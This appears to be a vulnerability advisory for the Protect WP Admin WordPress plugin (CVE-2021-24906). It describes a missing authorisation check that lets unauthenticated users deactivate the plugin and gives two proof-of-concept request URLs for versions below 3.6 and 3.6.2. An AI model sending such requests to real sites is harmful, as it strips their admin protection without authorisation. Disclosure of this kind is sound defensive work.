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Protect WP Admin < 3.6.2 - Unauthenticated Plugin Deactivation

Description

The plugin does not check for authorisation in the lib/pwa-deactivate.php file, which could allow unauthenticated users to disable the plugin (and therefore the protection offered) via a crafted request

Proof of Concept

v < 3.6 - https:/example.com/wp-content/plugins/protect-wp-admin/lib/pwa-deactivate.php?disable_pwa=1

v < 3.6.2 - https:/example.com/?pwa_inactive=1&[email protected] 

Affects Plugins

protect-wp-admin
Fixed in version 3.6.2

References

CVE
CVE-2021-24906

Classification

Type

ACCESS CONTROLS

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

Krzysztof Zając

Verified

Yes

WPVDB ID
4204682b-f657-42e1-941c-bee7a245e9fd

Timeline

Publicly Published

2021-12-23 (about 1 years ago)

Added

2021-12-23 (about 1 years ago)

Last Updated

2022-04-10 (about 10 months ago)

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